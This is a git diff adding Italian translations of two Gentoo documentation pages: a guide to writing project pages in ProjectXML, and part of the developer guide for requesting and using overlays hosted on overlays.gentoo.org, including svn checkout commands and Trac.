+ProjectXML è progettato per essere un semplice strumento per creare pagine di
+progetto che seguano lo stile del sito Gentoo. È usato lo stesso stile XML dei
+<uri link="/doc/it/xml-guide.xml">documenti GuideXML</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Conoscenze raccomandate</title>
+<body>
+
+<p>
+ProjectXML è progettato per essere di facile utilizzo, pertanto non è necessaria
+nessuna conoscenza specifica. L'unica lettura raccomandata prima di creare una
+pagina di progetto è il documento ufficiale <uri
+link="/doc/it/xml-guide.xml">Guida a Gentoo XML</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creare una pagina di progetto</title>
+<section>
+<title>Informazioni generali</title>
+<body>
+
+<p>
+Per cominciare a scrivere una pagina di progetto, prima di tutto, bisogna
+definire le intestazioni appropriate del documento. Basta un copia e incolla
+delle seguenti righe:
+</p>
+
+<pre caption="Intestazione del documento ProjectXML">
+&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?&gt;
+&lt;!DOCTYPE project SYSTEM "/dtd/project.dtd"&gt;
+</pre>
+
+<p>
+La prima parte del documento è la sezione dei dati generali che si occupa delle
+informazioni basilari del progetto. Inoltre, in questa sezione si trovano gli
+unici tag obbligatori, è necessario impostarli per creare una pagina valida:
+<c>&lt;name&gt;</c>, <c>&lt;longname&gt;</c>, <c>&lt;description&gt;</c> e
+<c>&lt;longdescription&gt;</c>, anche se è raccomandato l'uso di tutti i tag
+per dare una visione completa del progetto.
+</p>
+
+<pre caption="Esempio di informazioni basilari del documento.">
+&lt;project&gt;
+&lt;name&gt;ProjectXML&lt;/name&gt;
+&lt;longname&gt;Una pagina di esempio su ProjectXML&lt;/longname&gt;
+&lt;date&gt;2007-04-15&lt;/date&gt;
+
+&lt;description&gt;
+Una frase corta per descrivere il progetto.
+&lt;/description&gt;
+
+&lt;longdescription&gt;
+&lt;p&gt;
+Una descrizione più elaborata del progetto ( redatta come un blocco GuideXML).
+&lt;/p&gt;
+&lt;/longdescription&gt;
+&lt;/project&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Definire gli obiettivi del progetto</title>
+<body>
+
+<p>
+Per mostrare l'obiettivo finale del progetto, ProjectXML usa i tag goals per
+includere una descrizione circa lo scopo del lavoro. Può essere sufficiente
+anche una singola frase.
+</p>
+
+<note>
+Come <c>&lt;longdescription&gt;</c>, il tag <c>&lt;goals&gt;</c>
+<e>deve</e> contenere uno o più paragrafi (<c>&lt;p&gt;</c>), tabelle, liste,
+esempi di codice, ammonizioni (<c>&lt;note&gt;</c>
+/<c>&lt;warn&gt;</c>/<c>&lt;impo&gt;</c>). Il caso più semplice è l'uso di un
+singolo elemento <c>&lt;p&gt;</c>.
+</note>
+
+<pre caption="Sezione Goals">
+&lt;goals&gt;
+&lt;p&gt;
+L'intenzione del progetto è di mostrare come creare facilmente una pagina progetto di base usando ProjectXML.
+&lt;/p&gt;
+&lt;/goals&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Lista dei collaboratori del progetto</title>
+<body>
+
+<p>
+ProjectXML permette di includere una lista di collaboratori Gentoo che sono
+coinvolti nel progetto. È necessario solamente scrivere il nickname del
+collaboratore dentro il tag ed automaticamente esso sarà completato con il nome
+reale quando la pagina viene elaborata e visualizzata.
+</p>
+
+<pre caption="Sezione dei collaboratori">
+&lt;dev role="Manager Strategico" description="Politiche e relazioni"&gt;Dev1&lt;/dev&gt;
+&lt;dev role="Manager Operazionale" description="Sicurezza"&gt;Dev2&lt;/dev&gt;
+&lt;dev role="membro"&gt;Dev3&lt;/dev&gt;
+</pre>
+
+<p>
+Come è illustrato nell'esempio, il tag <c>dev</c> supporta due attributi
+opzionali: <c>role</c> è usato per nominare la posizione del collaboratore
+all'interno del team e <c>description</c>, che permette di inserire alcuni
+dettagli sul membro.
+</p>
+
+</body>
+</section>
+<section>
+<title>Herd esistenti</title>
+<body>
+
+<p>
+Un altra sezione interessante da includere in una pagina di progetto è la lista
+dei Gentoo herd che appartengono al progetto. L'unico dato necessario da
+riempire è l'attributo <c>name</c>.
+</p>
+
+<pre caption="Sezione Herd">
+&lt;herd name="herd1" /&gt;
+&lt;herd name="herd2" /&gt;
+</pre>
+
+<p>
+ProjectXML analizza il file <uri
+link="/en/metastructure/herds/herds.xml">herds</uri> e nella visualizzazione
+finale saranno visibili tutti i nickname dei collaboratori che appartengono
+all'herd.
+</p>
+
+</body>
+</section>
+<section>
+<title>Risorse del progetto</title>
+<body>
+
+<p>
+È inoltre possibile inserire link di risorse all'interno della pagina di
+progetto. Questi link di solito puntano alla documentazione Gentoo, documenti
+esterni o siti Internet utili.
+</p>
+
+<pre caption="Link di risorse">
+&lt;resource link="/gentoo/link.xml"&gt; (http://www.gentoo.org omesso)
+&lt;resource link="http://www.sito.internet.utile/"&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rifinire la pagina di progetto</title>
+<section>
+<title>Completare le informazioni generali</title>
+<body>
+
+<p>
+Anche se la sezione precedente tratta le informazioni di base per creare un
+progetto, ci sono altri capitoli che possono essere molto utili da usare in
+alcuni casi.
+</p>
+
+<p>
+Il resto della guida, mostra come aggiungere informazioni extra ai capitoli
+visti nella sezione precedente, come creare sottoprogetti all'interno della
+pagina di progetto o come mostrare i lavori e i loro stati.
+</p>
+
+</body>
+</section>
+<section>
+<title>Includere una sezione per il reclutamento</title>
+<body>
+
+<p>
+ProjectXML permette l'inclusione di una sezione che mostra i processi aperti
+per il progetto o le opportunità di collaborazione. Tutto quello che occorre
+fare è includere il tag <c>&lt;recruitment&gt;</c> <b>appena prima</b> di
+<c>&lt;/goals&gt;</c>. Per ogni posizione bisognerebbe includere un tag
+<c>&lt;job&gt;</c>. Al suo interno, si trova <c>&lt;summary&gt;</c>,
+<c>&lt;details&gt;</c>, <c>&lt;requirements&gt;</c> e uno o più tag
+<c>&lt;contact&gt;</c>. Ecco un esempio di come utilizzare ciò:
+</p>
+
+<pre caption="Includere una sezione per il reclutamento">
+&lt;recruitment&gt;
+  &lt;job&gt;
+    &lt;summary&gt;First Open Position&lt;/summary&gt;
+    &lt;details&gt;
+      Just an &lt;e&gt;example&lt;/e&gt;> of how to write details about this
+      first open position
+    &lt;/details&gt;
+    &lt;requirements&gt;
+      Needed &lt;b&gt;skills&lt;/b&gt; to work in the open position
+    &lt;/requirements&gt;
+    &lt;contact&gt;nick1&lt;/contact&gt;
+    &lt;contact&gt;nick2&lt;/contact&gt;
+  &lt;/job&gt;
+&lt;/recruitment&gt;
+</pre>
+
+<p>
+Tutti i processi pubblicati dai progetti elencati nella nostra
+<uri link="/proj/en/index.xml?showlevel=3">relativa pagina</uri> appariranno
+nella nostra pagina <uri link="/proj/en/devrel/staffing-needs/">Gentoo Linux
+Staffing Needs</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aggiungere contenuti extra</title>
+<body>
+
+<p>
+Se si pensa che le precedenti sezioni di base siano un po' vuote, o si ha
+intenzione di arricchirle con una frase o un paragrafo, si possono aggiungere
+capitoli extra che saranno mostrati appena sotto la sezione desiderata.
+</p>
+
+<p>
+Alle seguenti sezioni possono essere aggiunti contenuti extra: <c>goals</c>,
+<c>devs</c>, <c>resources</c>, <c>subprojects</c>, <c>tasks</c> e
+<c>recruitment</c>. Tutto quello di cui si ha bisogno è di impostare l'attributo
+<c>position</c> al tag <c>extrachapter</c>. Il prossimo esempio mostra come
+aggiungere informazioni alla sezione dei collaboratori:
+</p>
+
+<note>
+<c>&lt;extrachapter&gt;</c> usa la struttura di un capitolo GuideXML che può
+avere un <c>&lt;title&gt;</c> e deve avere una o più <c>&lt;section&gt;</c>.
+Ogni sezione può avere un <c>&lt;title&gt;</c> e deve avere uno o più
+<c>&lt;body&gt;</c>. Ogni <c>&lt;body&gt;</c> deve avere uno o più
+paragrafi,codici di esempio,tabelle, liste, ammonizioni.
+</note>
+
+<pre caption="Aggiungere contenuti alla sezione dei collaboratori">
+&lt;extrachapter position="devs"&gt;
+&lt;title&gt;Note sui collaboratori&lt;/title&gt;
+&lt;section&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+La lista degli sviluppatori include solo gli sviluppatori ufficiali di Gentoo ma il progetto funziona grazie a molti altri collaboratori che non sono sviluppatori Gentoo.
+&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+&lt;/extrachapter&gt;
+</pre>
+
+<p>
+Inoltre, si possono aggiungere uno o più capitoli extra in cima o in fondo nella
+stessa pagina. Il capitolo extra in posizione <c>top</c> sarà visualizzato
+appena sotto la descrizione del progetto e quello in <c>bottom</c> alla fine
+della pagina.
+</p>
+
+<pre caption="Aggiungere una sezione contatti in fondo alla pagina.">
+&lt;extrachapter position="bottom"&gt;
+&lt;title&gt;Come trovarci&lt;/title&gt;
+&lt;section&gt;
+&lt;title&gt;Via mail&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+Per comunicare con il team della documentazione Gentoo hai bisogno solamente di iscriverti alla nostra mailing list: gentoo-doc@gentoo.org
+&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+&lt;/extrachapter&gt;
+</pre>
+
+</body>
+</section>
+<section id="subprojects">
+<title>Definire i sottoprogetti</title>
+<body>
+
+<p>
+Se il progetto è composto da uno o più sottoprogetti, ProjectXML permette di
+specificarli in modo da essere visualizzati o linkati dalla pagina principale
+del progetto.
+</p>
+
+<p>
+Per determinare di che tipo di tag di sottoprogetto si necessita, seguire le
+seguenti istruzioni:
+</p>
+
+<ol>
+  <li>
+    Se il sottoprogetto ha la propria pagina ProjectXML, le informazioni di
+    base possono essere estratte da lì e può essere aggiunto alla pagina un link
+    al sottoprogetto. Usare il tag xml <c>subproject</c>.
+  </li>
+  <li>
+    Se il sottoprogetto non ha una sua pagina e si vogliono mostrare le
+    informazioni nella pagina principale, usare il tag xml <c>extraproject</c>.
+  </li>
+  <li>
+    Se il sottoprogetto è stato pianificato, ma ancora non è iniziato, usare il
+    tag xml <c>plannedproject</c>.
+  </li>
+</ol>
+
+<p>
+<b>Sottoprogetti</b>: È abbastanza semplice aggiungere un sottoprogetto, è
+necessario solamente inserire il percorso dove è collocata la pagina del
+sottoprogetto. Sono ammessi inoltre un paio di possibili attributi:
+<c>inheritmembers</c> che aggiunge i collaboratori del sottoprogetto alla
+sezione collaboratori della pagina principale. Il secondo è
+<c>inheritresources</c> che fa lo stesso con la sezione risorse.
+</p>
+
+<pre caption="Aggiungere un sottoprogetto">
+&lt;subproject ref="/path/to/subproject.xml" inheritresources="yes" inheritmembers="yes"/&gt;
+</pre>
+
+<p>
+<b>Progetti Extra</b>: I progetti extra necessitano obbligatoriamente del
+<c>name</c> del progetto ed hanno la possibilità di definire il <c>lead</c> e un
+possibile <c>link</c> al progetto. È importante ricordare di includere una
+descrizione del progetto.
+</p>
+
+<pre caption="Aggiungere un progetto extra">
+&lt;extraproject name="Primo progetto extra" lead="myself"&gt;
+  Qui va la descrizione del progetto extra.I tag GuideXML sono supportati se hai bisogno di usarli.
+&lt;/extraproject&gt;
+</pre>
+
+<p>
+<b>Progetti Pianificati</b>: per i progetti futuri l'unica cosa necessaria è il
+<c>name</c> e un testo di descrizione.
+</p>
+
+<pre caption="Aggiungere un progetto pianificato">
+&lt;plannedproject name="ProjectXML futuro"&gt;
+  La descrizione di un progetto futuro va qui.
+&lt;/plannedproject&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Gestire compiti</title>
+<body>
+
+<p>
+Se nel progetto sono stati pianificati alcuni compiti (task) per completare il
+lavoro, questi possono essere visualizzati nella pagina. I compiti possono
+essere abbastanza semplici o possono fornire dettagli delle persone che lavorano
+e dare informazioni circa il loro stato e la descrizione.
+</p>
+
+<p>
+Le informazioni necessarie di base da riempire per un compito sono: gli
+attributi <c>id</c>,<c>lead</c> e <c>finished</c>. Dentro all'elemento task
+devono essere specificate più informazioni: il <c>&lt;name&gt;</c> del compito,
+la <c>&lt;description&gt;</c> e lo <c>&lt;startdate&gt;</c>.
+</p>
+
+<pre caption="Definire un compito di base">
+&lt;task id="basictask" lead="devnick" finished="no"&gt;
+&lt;name&gt;Definire un compito di base&lt;/name&gt;
+&lt;description&gt;Come creare un compito di base&lt;/description&gt;
+&lt;startdate&gt;01/01/2007&lt;/startdate&gt;
+&lt;/task&gt;
+</pre>
+
+<p>
+Ci sono altri elementi che possono essere usati per arricchire le informazioni
+sui compiti:
+</p>
+
+<ul>
+  <li>
+    Il tag <c>longdescription</c>, che da una panoramica completa dell'attività
+    del progetto.
+  </li>
+  <li>
+    Il tag <c>enddate</c>, se il compito è finito mostra il lasso di tempo
+    impiegato.
+  </li>
+  <li>
+    Uno o più tag <c>dev</c>, mostra le persone coinvolte nei vari compiti. Il
+    tag accetto gli attributi <c>role</c> e <c>description</c>.
+  </li>
+  <li>
+    Uno o più tag <c>reference</c>, include link a informazioni rilevanti. Si
+    può usare il classico <c>&lt;uri&gt;</c>; elemento GuideXML o uno o più tag
+    <c>bug</c> che puntano a Gentoo Bugzilla.
+  </li>
+  <li>
+    Uno o più tag <c>milestone</c>, mostrano importanti punti di sviluppo
+    all'interno del compito. I tag milestone usano l'attributo <c>finished</c> e
+    necessitano dei tag <c>enddate</c> e <c>description</c>.
+  </li>
+  <li>
+    Uno o più tag <c>depends</c>, mostrano le dipendenze tra i compiti. È
+    necessario riempire l'attributo <c>ref</c> che si riferisce all'id di un
+    altro compito.
+  </li>
+</ul>
+
+<pre caption="Definire un compito completo">
+&lt;task id="basictask" lead="devnick" finished="no"&gt;
+&lt;name&gt;Definire un compito completo&lt;/name&gt;
+&lt;description&gt;Come creare un compito completo&lt;/description&gt;
+&lt;longdescription&gt;
+Una più lunga descrizione su come creare un compito completo.
+&lt;/longdescription&gt;
+&lt;startdate&gt;01/01/2007&lt;/startdate&gt;
+&lt;enddate&gt;06/04/2007&lt;/enddate&gt;
+&lt;dev role="designer" description="L'unico designer"&gt;dev1&lt;/dev&gt;
+&lt;reference&gt;&lt;uri link="/path/to/doc.xml"&gt;Guida principale&lt;/uri&gt;&lt;/reference&gt;
+&lt;reference&gt;&lt;bug no="145234"/&gt;&lt;/reference&gt;
+&lt;milestone finished="yes"&gt;
+  &lt;enddate&gt;04/03/2007&lt;/enddate&gt;
+  &lt;description&gt;Pensando alla scrittura della guida&lt;/description&gt;
+&lt;/milestone&gt;
+&lt;depends ref="task1"/&gt;
+&lt;/task&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Aggiungere un progetto alla lista completa dei progetti Gentoo</title>
+<section>
+<body>
+
+<p>
+Gentoo fornisce una pagina con la <uri link="/proj/en/index.xml">lista completa
+dei progetti </uri> appartenenti alla distribuzione. Questa mostra tutti i
+progetti di livello più alto e i loro sottoprogetti. Tutti i progetti correnti
+dovrebbero essere elencati qui, questo è quello che si deve fare per aggiungere
+un progetto alla lista:
+</p>
+
+<p>
+Se viene scritta una pagina per un sottoprogetto, basterà che sia elencata
+nella pagina principale del progetto. (come descritto nella <uri
+link="#subprojects">sezione sottoprogetti</uri>).
+</p>
+
+<p>
+Se è un progetto di alto livello, bisogna aggiungere il progetto a:
+<path>/gentoo/xml/htdocs/proj/en/metastructure/gentoo.xml</path>:
+</p>
+
+<pre caption="Aggiungere il proprio progetto di alto livello al database
+gentoo">
+&lt;subproject ref="/proj/en/myproject/index.xml" inheritmembers="no"/&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/overlays/devguide.xml b/xml/htdocs/proj/it/overlays/devguide.xml
new file mode 100644
index 00000000..774252ef
--- /dev/null
+++ b/xml/htdocs/proj/it/overlays/devguide.xml
@@ -0,0 +1,943 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/overlays/devguide.xml,v 1.3 2009/02/19 21:42:50 scen Exp $ -->
+
+<guide link="/proj/it/overlays/devguide.xml" lang="it">
+<title>Overlay Gentoo: Guida per gli Sviluppatori</title>
+
+<author title="Autore">
+  <mail link="stuart"/>
+</author>
+<author title="Autore">
+  <mail link="jokey">Markus Ullmann</mail>
+</author>
+<author title="Autore">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Traduzione">
+  <mail link="info@francotampieri.com">Franco Tampieri</mail>
+</author>
+
+<abstract>
+Questa guida aiuta gli sviluppatori a capire come usare il servizio degli
+Overlay di Gentoo.
+</abstract>
+
+<license/>
+
+<version>2.3</version>
+<date>2009-01-18</date>
+
+<chapter>
+<title>Introduzione</title>
+
+<section>
+<title>I destinatari</title>
+<body>
+
+<p>
+Questo documento è stato scritto per gli sviluppatori e i membri dello staff di
+Gentoo. Se si è utenti di Gentoo, o si vuole semplicemente iniziare a scaricare
+e usare gli overlay, è meglio consultare la <uri
+link="/proj/it/overlays/userguide.xml">Guida utente agli Overlay di
+Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Chi può usare overlays.gentoo.org?</title>
+<body>
+
+<p>
+Ogni progetto Gentoo, o ogni sviluppatore Gentoo, può avere un proprio overlay
+ospitato su (git.)overlays.gentoo.org, con un RSS alimentato dal changelog
+incluso sul <uri link="http://overlays.gentoo.org">planet di
+overlays.gentoo.org</uri>.
+</p>
+
+<p>
+Qualsiasi utente può scaricare e usare i contenuti di qualunque overlay
+ospitato. Se uno sviluppatore lo desidera, può concedere il diritto di scrittura
+sul proprio overlay agli utenti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cosa può offrire overlays.gentoo.org?</title>
+<body>
+
+<p>
+Il servizio (git.)overlays.gentoo.org attualmente offre:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://trac.edgewall.com">Trac</uri> (un ambiente wiki con
+    navigatore di versioni incorporato), per creare e mantenere rapidamente
+    documentazione per il proprio overlay basato su Subversion
+  </li>
+  <li>
+    La pubblicazione del changelog per il proprio overlay sulla <uri
+    link="http://overlays.gentoo.org/">homepage di o.g.o</uri>, in modo che
+    chiunque sia interessato può vedere come si sviluppa il progetto
+  </li>
+  <li>
+    <uri link="http://git.or.cz/gitwiki/Gitweb">gitweb</uri> - fornisce
+    un'interfaccia web completamente matura per visualizzare i repository Git.
+  </li>
+</ul>
+
+<p>
+... tutto ospitato sulla sicura, protetta da backup, infrastruttura Gentoo,
+amministrata dal <uri link="/proj/en/infrastructure">team Infrastruttura
+Gentoo</uri> (hardware / base OS) e dal <uri link="/proj/en/overlays">team
+Gentoo Overlays</uri> (wiki / VCS / ACL).
+</p>
+
+<p>
+Ciascun overlay ha liste di autenticazione separate per Trac, Subversion e Git.
+Non è assolutamente un problema dare a qualcuno l'accesso in scrittura solo per
+Trac (ad esempio per scrivere documentazione) senza dare l'accesso in scrittura
+a Subversion.
+</p>
+
+</body>
+</section>
+<section>
+<title>Perché si dovrebbe usare overlays.gentoo.org?</title>
+<body>
+
+<p>
+Non è necessario. Non è assolutamente necessario avere un overlay, e, nel caso
+lo sviluppatore ne avesse già uno, è assolutamente libero di ospitarlo altrove.
+Non è necessario ospitare un overlay su o.g.o affinché questo sia considerato
+"ufficiale".
+</p>
+
+<p>
+Il vantaggio di usare overlays.gentoo.org è che tutti gli strumenti sono già
+pronti all'uso. Non è necessario amministrare un proprio server o preoccuparsi
+degli aggiornamenti software, in quanto ci pensano i responsabili degli Overlay.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Quando overlays.gentoo.org non si dovrebbe usare?</title>
+<body>
+
+<p>
+Lo scopo di o.g.o è aiutare a colmare il divario tra sviluppatori e
+utilizzatori. Gentoo è una distribuzione basata sulla comunità, ed come tale
+crede che i propri utenti siano una parte fondamentale della comunità così come
+lo sono gli sviluppatori.
+</p>
+
+<p>
+Tutti gli overlay ospitati su o.g.o sono disponibili per il download e l'uso da
+parte di tutti gli utenti. Sta agli utenti scegliere quale software installare
+sui propri computer, e la scelta include la possibilità di scegliere l'overlay
+di uno dei sviluppatori. Qualche utente prenderà decisioni sbagliate, che
+porteranno al crash del suo computer. Potranno persino finire con l'incolpare
+Gentoo come risultato. Ciò è normale; questa gente probabilmente va comunque in
+giro a incolpare tutti tranne loro stessi per i loro errori, e probabilmente non
+c'è nulla da fare per cambiare questa situazione. Ma questo non dà comunque a
+nessuno degli sviluppatori il diritto di scegliere per loro.
+</p>
+
+<p>
+Gli utenti sono liberi (di fatto sono incoraggiati) a fornire riscontri
+costruttivi su qualsiasi cosa che abbia a che fare con Gentoo, inclusi tutti
+gli overlay ospitati su o.g.o.. I feedback possono arrivare tramite bugs.g.o,
+via email al team del proprio progetto o direttamente allo sviluppatore, tramite
+i forum, o tramite IRC. Non si sta parlando di utenti "fraudolenti"; non c'è
+tempo per loro, e nessuno si aspetta che ne abbiano gli sviluppatori.
+</p>
+
+<warn>
+Se non si vuole che gli altri utenti usino il proprio overlay, e / o non si
+vuole essere contattati da altri utenti in merito ai contenuti del proprio
+overlay, allora non usare o.g.o per ospitarlo.
+</warn>
+
+<p>
+o.g.o. aveva delle restrizioni per quanto riguardo all'impossibilità di essere
+$UPSTREAM per i pacchetti. Questa restrizione è stata corretta. Ora viene
+offerto l'hosting come $UPSTREAM, ma solo per pacchetti che sono specifici per
+Gentoo o importanti per il suo funzionamento. Altri servizi di hosting
+risultano essere più adatti, per esempio <uri
+link="http://www.sourceforge.net/">SourceForge.net</uri>, <uri
+link="http://www.berlios.de">Berlios</uri>, o <uri
+link="http://www.gentooexperimental.org">GentooExperimental.org</uri> di
+Patrick.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Richiedere un Overlay</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Ci sono due tipi di overlay - overlay per "progetti", e overlay per
+"sviluppatori". La sola differenza tra i due è la responsabilità e il tipo di
+account.
+</p>
+
+<impo>
+Prima di chiedere un overlay, assicurarsi di aver letto il <uri
+link="/proj/it/overlays/policy.xml">Documento delle Politiche d'utilizzo</uri>.
+In esso si precisa chiaramente cosa è permesso e cosa no, e quali saranno le
+proprie responsabilità.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Overlay per i Progetti</title>
+<body>
+
+<p>
+Gli overlays per "progetti" sono overlay per i progetti ufficiali Gentoo. Un
+esempio è l'<uri link="http://overlays.gentoo.org/proj/php">Overlay
+PHP</uri>.</p>
+
+<p>
+Un progetto ufficiale Gentoo è un progetto che ha una pagina su www.gentoo.org,
+e ha un capo eletto. (Questa definizione viene dal documento di metastruttura).
+I(l) capo(i) progetto sono responsabili per l'overlay del progetto stesso,
+inclusi i suoi contenuti, e per ogni altro problema che esso causi ad altri
+progetti e sviluppatori Gentoo.
+</p>
+
+<p>
+Per richiedere un overlay SVN di progetto il capo progetto deve solo entrare
+dentro #gentoo-overlays su IRC e chiedere la creazione di un overlay. Oppure, se
+lo preferiscono, devono inviare una email a overlays@gentoo.org. Il team
+Overlays curerà tutto il resto, incluso il garantire l'accesso in scrittura a
+tutti i membri del proprio progetto (così come elencati nella propria pagina di
+progetto).
+</p>
+
+<p>
+Per richiedere un overlay Git di progetto, basta visitare il sito <uri
+link="http://git.overlays.gentoo.org">git.overlays</uri>, e seguire le
+istruzioni di configurazione, inviando via e-mail il template completato a chi
+di dovere.
+</p>
+
+<p>
+Per un overlay SVN Il team Overlays:
+</p>
+
+<ul>
+  <li>creerà l'overlay per il progetto (sito trac + svn)</li>
+  <li>aggiungerà il feed RSS dell'overlay del progetto all'homepage o.g.o.</li>
+  <li>
+    creerà un account o.g.o per lo sviluppatore che ha fatto la richiesta, se
+    non ne ha già uno
+  </li>
+  <li>
+    gli darà accesso in scrittura al Trac wiki e al repository Subversion, se
+    necessario
+  </li>
+  <li>
+    darà accesso in scrittura a tutti i membri del progetto che già hanno un
+    acconto o.g.o.
+  </li>
+</ul>
+
+<p>
+Per un overlay Git Il team Overlays:
+</p>
+
+<ul>
+  <li>creerà l'overlay per il progetto (git, gitweb, no trac)</li>
+  <li>aggiungerà il feed RSS dell'overlay del progetto all'homepage o.g.o.</li>
+  <li>
+    creerà un account git o.g.o per lo sviluppatore che ha fatto la richiesta,
+    se non ne ha già uno
+  </li>
+  <li>gli darà accesso in scrittura al repository degli overlay Git</li>
+  <li>
+    darà accesso in scrittura a tutti i membri del progetto che già hanno un
+    acconto o.g.o.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Overlay per lo Sviluppatore</title>
+<body>
+
+<p>
+Gli overlay per "sviluppatori" sono proprietà degli sviluppatori Gentoo
+individuali. Un esempio è <uri
+link="http://overlays.gentoo.org/dev/beandog">l'overlay di beandog</uri>.
+</p>
+
+<p>
+Se si possiede un indirizzo email @gentoo.org, e se si ha superato il quiz
+sull'ebuild, allora è possibile avere il proprio overlay personale per
+sviluppatori su o.g.o.
+</p>
+
+<p>
+Per richiedere un overlay SVN come sviluppatore, basta entrare in
+#gentoo-overlays su IRC e chiedere che venga creato un overlay per sé. Oppure,
+se lo si preferisce, inviare un email a overlays@gentoo.org.
+</p>
+
+<p>
+Per una richiesta SVN il team Overlays:
+</p>
+
+<ul>
+  <li>creerà l'overlay dello sviluppatore (sito trac + svn)</li>
+  <li>aggiungerà il feed RSS del suo overlay all'homepage o.g.o.</li>
+  <li>
+    creerà un account o.g.o per lo sviluppatore, se non ne possiede già uno
+  </li>
+  <li>
+    gli darà accesso in scrittura al Trac wiki e al repository Subversion
+  </li>
+</ul>
+
+<p>
+Per una richiesta Git il team Overlays:
+</p>
+
+<ul>
+  <li>creerà l'overlay dello sviluppatore (git, gitweb, no trac)</li>
+  <li>aggiungerà il feed RSS del suo overlay all'homepage o.g.o.</li>
+  <li>
+    creerà un account o.g.o per lo sviluppatore, se non ne possiede già uno
+  </li>
+  <li>gli darà accesso in scrittura al repository degli overlay Git</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Una parola sugli account</title>
+<body>
+
+<p>
+Siccome o.g.o è strutturato per supportare una miscela di sviluppatori e
+semplici utenti Gentoo, non vengono creati account 'reali' a livello di sistema
+sull'host o.g.o.
+</p>
+
+<impo>
+Gli sviluppatori *non* hanno accesso a o.g.o tramite SSH.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Lavorando con il proprio overlay</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+È possibile accedere al proprio overlay subito dopo la sua creazione. Gli
+overlay di progetto e di sviluppatore hanno diversi URL, così ognuno può
+distinguere l'uno dall'altro, ma sono identici per qualsiasi altro aspetto.
+</p>
+
+<p>
+*Non* ci sono restrizioni in lettura per overlay o wiki. Ognuno ha pieni
+diritti di accesso in lettura su tutti gli overlay e i wiki. Se si necessita di
+un overlay 'segreto' di qualche tipo, allora o.g.o non fa per voi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Accedere agli Overlay dei Progetti</title>
+<body>
+
+<p>
+Se il proprio progetto è chiamato 'foo', il proprio sito Trac wiki avrà il
+seguente indirizzo: http://overlays.gentoo.org/proj/foo/
+</p>
+
+<p>
+Per effettuare il checkout del proprio repository di Subversion, usare:
+</p>
+
+<pre caption="Effettuare il checkout del proprio overlay per progetti">
+svn co https://overlays.gentoo.org/svn/proj/foo/
+</pre>
+
+<p>
+Nonstante sia possibile effettuare azioni in sola lettura tramite l'insicuro
+protocollo HTTP, bisogna effettuare tutti i commit tramite HTTPS. Se si
+necessita di passare da una modalità all'altra, usare:
+</p>
+
+<pre caption="Passare il proprio overlay di progetto da HTTP a HTTPS">
+svn sw --relocate http://overlays.gentoo.org/svn/proj/foo/ https://overlays.gentoo.org/svn/proj/foo/
+</pre>
+
+<p>
+Il team Overlays mantiene <uri link="http://overlays.gentoo.org/proj/">, una
+lista completa di overlay per progetti ospitati su overlays.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Accedere agli Overlay per Sviluppatori</title>
+<body>
+
+<p>
+Se la propria email Gentoo è 'foo@gentoo.org', il proprio sito Trac wiki è
+disponibile al seguente indirizzo: http://overlays.gentoo.org/dev/foo/
+</p>
+
+<p>
+Per effettuare il checkout del proprio repository Subversion, usare:
+</p>
+
+<pre caption="Effettuare il checkout del proprio overlay per sviluppatori">
+svn co https://overlays.gentoo.org/svn/dev/foo/
+</pre>
+
+<p>
+Nonstante sia possibile effettuare azioni in sola lettura tramite l'insicuro
+protocollo HTTP, bisogna effettuare tutti i commit tramite HTTPS. Se si
+necessita di passare da una modalità all'altra, usare:
+</p>
+
+<pre caption="Passare il proprio overlay di sviluppatore da HTTP a HTTPS">
+svn sw --relocate http://overlays.gentoo.org/svn/dev/foo/ https://overlays.gentoo.org/svn/dev/foo/
+</pre>
+
+<p>
+Il team Overlays mantiene <uri link="http://overlays.gentoo.org/dev/">, una
+lista completa di overlay per sviluppatori ospitati su
+overlays.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come iniziare con Trac</title>
+<body>
+
+<p>
+Nel proprio overlay viene messo a disposizione <uri
+link="http://trac.edgewall.com">Trac</uri>. Trac è un wiki, un browser di
+repository subversion, e un sistema per il tracking dei bug molto popolare tra
+gli sviluppatori open source.
+</p>
+
+<p>
+È stato disabilitato il sistema di bug tracking in Trac. Usare <uri
+link="http://bugs.gentoo.org">il bugzilla di Gentoo</uri> per il bug tracking
+del proprio overlay.
+</p>
+
+<p>
+Il feed RSS del proprio overlay - quello mostrato sull'<uri
+link="http://overlays.gentoo.org">homepage di o.g.o</uri> - deriva dalla pagina
+Timeline di Trac o dal sommario di GitWeb.
+</p>
+
